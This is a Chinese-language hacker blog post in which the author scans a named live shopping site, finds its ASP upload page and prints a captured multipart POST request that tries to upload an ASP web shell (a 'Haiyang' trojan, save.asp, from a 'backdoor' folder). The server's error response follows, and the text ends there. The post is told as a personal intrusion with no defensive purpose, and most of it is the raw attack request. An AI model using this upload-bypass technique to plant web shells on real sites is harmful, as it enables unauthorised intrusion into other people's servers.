下午5：52分，快吃晚饭了，这段时间里我比较喜欢给忙碌了一天的自己放短假，所以按照习惯就跑去几个常去的站点看看文章，武汉的安全网我还是比较喜欢的，东西比较多而且更新的也还算及时。
记得看过一次315安全网里的一位兄台做过一个他们硬盘权限分配的动画，了解到是一台虚拟主机，用自己写的程序跑了跑，看看有没有什么可以利用的地方，发现了一个动感购物商城的上传页面，呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了个包试试看上传，包的结果如下：
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent:/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页\海阳ASP木马\2005\改好的\save.asp"
Content-Type: application/octet-stream
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
开始上传
-----------------------------7d51863950254--
按照正常的手段改数据包先进行测试，提交结果返回为：
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server:-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
ADODB.Stream 错误 '800a0bbc'
写入文件失败。
/upload_wj.inc，行 181<
/font>